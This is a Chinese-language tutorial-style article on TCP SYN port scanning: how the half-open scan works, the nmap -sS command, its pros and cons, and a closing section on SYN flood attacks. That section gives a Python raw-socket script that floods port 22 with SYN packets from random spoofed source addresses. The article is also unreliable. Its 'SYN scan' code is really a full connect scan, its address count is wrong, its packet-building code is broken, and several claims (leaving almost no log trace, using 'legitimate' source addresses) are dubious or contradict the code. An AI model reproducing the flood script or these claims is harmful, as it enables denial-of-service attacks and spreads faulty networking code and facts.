一、tcpsyn扫描又称为
tcpsyn扫描是一种用于检测TCP端口开放状态的技术,也被称为半开扫描。它通过发送一个SYN包给目标主机,如果目标主机回应一个SYN/ACK包,则表示对应端口是开放的,反之则表示该端口是关闭的。tcpsyn扫描使用一种轻量级、准确的方式对端口进行快速扫描,它通常是进行渗透测试时的重要一步。
二、tcpsyn扫描开放了5个地址,22端口
在进行tcpsyn扫描之前,我们需要先确定要扫描的目标地址和端口。以下是tcpsyn扫描开放了5个地址和22端口的示例代码:
import socket target_host = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.4", "192.168.1.5", "192.168.1.6"] target_port = 22 for address in target_host: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(0.1) try: client.connect((address, target_port)) print("[*] %s:%d/tcp open" % (address, target_port)) except: print("[*] %s:%d/tcp closed" % (address, target_port)) client.close()
三、tcpsyn扫描命令
使用tcpsyn扫描可以通过以下命令实现:
nmap -sS [target]
使用nmap工具里的-sS参数可以执行tcpsyn扫描。
四、tcpsyn扫描的原理
tcpsyn扫描的原理是基于TCP的三次握手机制。在TCP通信过程中,客户端首先向服务器发送一个SYN包,该包中包括了客户端的初始序列号。服务器接收到SYN包后会向客户端发送一个SYN/ACK包,该包中包括了服务器的初始序列号和确认号。客户端接收到服务器的SYN/ACK包后会向服务器串发一个ACK包来确认连接建立。
在进行tcpsyn扫描时,客户端只发送一个SYN包,不发送ACK包。在得到服务器的SYN/ACK包后,客户端不再往下执行,而是直接关闭对应的TCP连接,从而避免了连接建立的过程。这样一来,我们就可以通过观察TCP响应包的行为来判断端口的状态。
五、tcpsyn扫描的优缺点
tcpsyn扫描作为一种快速、准确的端口扫描技术,具有以下优点:
- 可以识别开放和关闭的端口。
- 几乎不会在目标主机日志中留下任何痕迹,因为客户端只发送一个SYN包,连接不会真正建立。
- 可以避免由于全连接扫描带来的风险,如DoS攻击。
但tcpsyn扫描也存在一些缺点:
- 目标主机可能会通过启用SYN Cookies来检测SYN洪水攻击,从而检测出SYN包的扫描行为。因此,tcpsyn扫描需要控制扫描速度,否则可能会被目标主机检测到。
- 由于SYN包容易被网络过滤器和IDS检测到,因此tcpsyn扫描在某些情况下可能无法成功。
六、tcpsyn扫描中利用的标志位
在tcpsyn扫描过程中,我们使用了TCP协议中的SYN标志位。SYN(Synchronous)标志位用于建立连接,因此在客户端发送SYN包时,目标服务器会返回一个SYN/ACK响应包,从而判断扫描目标端口是否开放。
七、tcpsyn攻击
tcpsyn扫描是一种探测目标主机开放端口状态的手段,但是如果将它用于攻击,则被称为tcpsyn攻击。tcpsyn攻击利用TCP协议中的漏洞,攻击者带着合法的地址向目标主机发送大量的SYN包,消耗目标主机的系统资源,造成DoS攻击的结果。
以下是Python代码中模拟的tcpsyn攻击示例:
import socket, random, struct target_host = "192.168.1.1" target_port = 22 for i in range(32): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.settimeout(0.01) src_ip = "%d.%d.%d.%d" % (random.randint(1,255),random.randint(1,255),random.randint(1,255),random.randint(1,255)) saddr = socket.inet_aton(src_ip) daddr = socket.inet_aton(target_host) ihl = 5 version = 4 tos = 0 tot_len = 40 id = random.randint(18000,65000) frag_off = 0 ttl = 128 protocol = socket.IPPROTO_TCP check = 10 saddr = socket.inet_aton(src_ip) daddr = socket.inet_aton(target_host) tcp_header = struct.pack('!HHLLBBHHH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 0, 6, check, 0) psh = struct.pack("!4s4sBBH", saddr, daddr, 0, protocol, len(tcp_header)) psh = psh + tcp_header sum = 0 count_to = (len(psh) / 2) * 2 count = 0 while count < count_to: this_val = ord(psh[count+1])*256 + ord(psh[count]) sum = sum + this_val sum = sum & 0xffffffff count = count + 2 if count_to < len(psh): sum = sum + ord(psh[len(psh) - 1]) sum = sum & 0xffffffff sum = (sum >> 16) + (sum & 0xffff) sum = sum + (sum >> 16) check = ~sum check = check & 0xffff tcp_header = struct.pack('!HHLLBBH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 2, check) pack = struct.pack('!4s4sBBH', saddr, daddr, 0, protocol, len(tcp_header)) pack += tcp_header s.sendto(pack, (target_host, 0)) s.close() print("[*] Sending tcpsyn attack to %s:%d" % (target_host, target_port))